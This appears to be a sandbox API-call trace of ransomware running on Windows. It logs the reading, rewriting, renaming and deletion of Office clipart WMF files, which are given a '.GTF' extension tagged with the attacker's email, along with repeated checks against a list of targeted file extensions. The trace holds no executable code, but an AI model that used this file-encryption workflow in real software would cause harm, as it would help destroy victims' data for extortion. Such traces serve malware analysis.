	[0165.860] ReadFile (in: hFile=0x42c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x287c, lpOverlapped=0x0) returned 1
	[0165.862] WriteFile (in: hFile=0x560, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x2880, lpOverlapped=0x0) returned 1
	[0165.863] ReadFile (in: hFile=0x42c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.863] WriteFile (in: hFile=0x560, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.863] SetEndOfFile (hFile=0x560) returned 1
	[0165.863] CloseHandle (hObject=0x560) returned 1
	[0165.863] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.863] SetEndOfFile (hFile=0x42c) returned 1
	[0165.866] CloseHandle (hObject=0x42c) returned 1
	[0165.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 1
	[0165.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0165.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0165.867] lstrlenW (lpString=".doc") returned 4
	[0165.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.867] lstrlenW (lpString=".docx") returned 5
	[0165.867] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0165.867] lstrlenW (lpString=".pdf") returned 4
	[0165.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.867] lstrlenW (lpString=".xls") returned 4
	[0165.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.867] lstrlenW (lpString=".xlsx") returned 5
	[0165.867] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0165.867] lstrlenW (lpString=".ppt") returned 4
	[0165.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0165.867] lstrlenW (lpString=".zip") returned 4
	[0165.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.867] lstrlenW (lpString=".rar") returned 4
	[0165.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.867] lstrlenW (lpString=".bz2") returned 4
	[0165.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString=".7z") returned 3
	[0165.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0165.868] lstrlenW (lpString=".dbf") returned 4
	[0165.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0165.868] lstrlenW (lpString=".1cd") returned 4
	[0165.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0165.868] lstrlenW (lpString=".jpg") returned 4
	[0165.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0165.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0165.868] lstrlenW (lpString=".doc") returned 4
	[0165.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString=".docx") returned 5
	[0165.868] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0165.868] lstrlenW (lpString=".pdf") returned 4
	[0165.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString=".xls") returned 4
	[0165.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.868] lstrlenW (lpString=".xlsx") returned 5
	[0165.868] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0165.868] lstrlenW (lpString=".ppt") returned 4
	[0165.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0165.868] lstrlenW (lpString=".zip") returned 4
	[0165.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.868] lstrlenW (lpString=".rar") returned 4
	[0165.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString=".bz2") returned 4
	[0165.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString=".7z") returned 3
	[0165.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0165.868] lstrlenW (lpString=".dbf") returned 4
	[0165.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0165.869] lstrlenW (lpString=".1cd") returned 4
	[0165.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0165.869] lstrlenW (lpString=".jpg") returned 4
	[0165.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.869] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0165.869] lstrlenW (lpString="J0105710.WMF") returned 12
	[0165.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.869] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=13808) returned 1
	[0165.869] CloseHandle (hObject=0x42c) returned 1
	[0165.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 0x220
	[0165.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.870] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.870] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0165.871] GetLastError () returned 0x0
	[0165.871] ReadFile (in: hFile=0x42c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x35f0, lpOverlapped=0x0) returned 1
	[0165.872] WriteFile (in: hFile=0x560, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x3600, lpOverlapped=0x0) returned 1
	[0165.873] ReadFile (in: hFile=0x42c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.874] WriteFile (in: hFile=0x560, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.874] SetEndOfFile (hFile=0x560) returned 1
	[0165.874] CloseHandle (hObject=0x560) returned 1
	[0165.874] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.874] SetEndOfFile (hFile=0x42c) returned 1
	[0165.876] CloseHandle (hObject=0x42c) returned 1
	[0165.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 1
	[0165.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0165.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0165.877] lstrlenW (lpString=".doc") returned 4
	[0165.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.877] lstrlenW (lpString=".docx") returned 5
	[0165.877] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.877] lstrlenW (lpString=".pdf") returned 4
	[0165.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.877] lstrlenW (lpString=".xls") returned 4
	[0165.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.877] lstrlenW (lpString=".xlsx") returned 5
	[0165.877] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.878] lstrlenW (lpString=".ppt") returned 4
	[0165.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0165.878] lstrlenW (lpString=".zip") returned 4
	[0165.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.878] lstrlenW (lpString=".rar") returned 4
	[0165.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.878] lstrlenW (lpString=".bz2") returned 4
	[0165.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.878] lstrlenW (lpString=".7z") returned 3
	[0165.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0166.123] lstrlenW (lpString=".dbf") returned 4
	[0166.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0166.134] lstrlenW (lpString=".1cd") returned 4
	[0166.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0166.134] lstrlenW (lpString=".jpg") returned 4
	[0166.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0166.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0166.134] lstrlenW (lpString=".doc") returned 4
	[0166.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.143] lstrlenW (lpString=".docx") returned 5
	[0166.143] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0166.143] lstrlenW (lpString=".pdf") returned 4
	[0166.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.143] lstrlenW (lpString=".xls") returned 4
	[0166.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.143] lstrlenW (lpString=".xlsx") returned 5
	[0166.143] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0166.143] lstrlenW (lpString=".ppt") returned 4
	[0166.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0166.143] lstrlenW (lpString=".zip") returned 4
	[0166.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.143] lstrlenW (lpString=".rar") returned 4
	[0166.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.143] lstrlenW (lpString=".bz2") returned 4
	[0166.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.143] lstrlenW (lpString=".7z") returned 3
	[0166.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0166.144] lstrlenW (lpString=".dbf") returned 4
	[0166.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0166.144] lstrlenW (lpString=".1cd") returned 4
	[0166.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0166.144] lstrlenW (lpString=".jpg") returned 4
	[0166.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.144] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0166.144] lstrlenW (lpString="J0106222.WMF") returned 12
	[0166.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0166.513] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=19600) returned 1
	[0166.513] CloseHandle (hObject=0x54c) returned 1
	[0166.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 0x220
	[0166.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0167.153] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.153] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0168.332] GetLastError () returned 0x0
	[0168.332] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x4c90, lpOverlapped=0x0) returned 1
	[0168.343] WriteFile (in: hFile=0x540, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x4ca0, lpOverlapped=0x0) returned 1
	[0168.344] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.344] WriteFile (in: hFile=0x540, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.345] SetEndOfFile (hFile=0x540) returned 1
	[0168.345] CloseHandle (hObject=0x540) returned 1
	[0168.345] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.345] SetEndOfFile (hFile=0x3dc) returned 1
	[0168.347] CloseHandle (hObject=0x3dc) returned 1
	[0168.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 1
	[0168.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.348] lstrlenW (lpString=".doc") returned 4
	[0168.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.348] lstrlenW (lpString=".docx") returned 5
	[0168.348] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.348] lstrlenW (lpString=".pdf") returned 4
	[0168.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.348] lstrlenW (lpString=".xls") returned 4
	[0168.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.349] lstrlenW (lpString=".xlsx") returned 5
	[0168.349] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.349] lstrlenW (lpString=".ppt") returned 4
	[0168.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.349] lstrlenW (lpString=".zip") returned 4
	[0168.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.349] lstrlenW (lpString=".rar") returned 4
	[0168.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.349] lstrlenW (lpString=".bz2") returned 4
	[0168.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.349] lstrlenW (lpString=".7z") returned 3
	[0168.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.349] lstrlenW (lpString=".dbf") returned 4
	[0168.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.349] lstrlenW (lpString=".1cd") returned 4
	[0168.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.349] lstrlenW (lpString=".jpg") returned 4
	[0168.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.349] lstrlenW (lpString=".doc") returned 4
	[0168.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.349] lstrlenW (lpString=".docx") returned 5
	[0168.349] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.349] lstrlenW (lpString=".pdf") returned 4
	[0168.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.349] lstrlenW (lpString=".xls") returned 4
	[0168.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.350] lstrlenW (lpString=".xlsx") returned 5
	[0168.350] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.350] lstrlenW (lpString=".ppt") returned 4
	[0168.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.350] lstrlenW (lpString=".zip") returned 4
	[0168.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.350] lstrlenW (lpString=".rar") returned 4
	[0168.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.350] lstrlenW (lpString=".bz2") returned 4
	[0168.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.350] lstrlenW (lpString=".7z") returned 3
	[0168.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.350] lstrlenW (lpString=".dbf") returned 4
	[0168.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.350] lstrlenW (lpString=".1cd") returned 4
	[0168.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.350] lstrlenW (lpString=".jpg") returned 4
	[0168.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.350] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.350] lstrlenW (lpString="J0107150.WMF") returned 12
	[0168.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0168.351] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=13456) returned 1
	[0168.351] CloseHandle (hObject=0x3dc) returned 1
	[0168.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 0x220
	[0168.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0168.352] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.352] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0168.352] GetLastError () returned 0x0
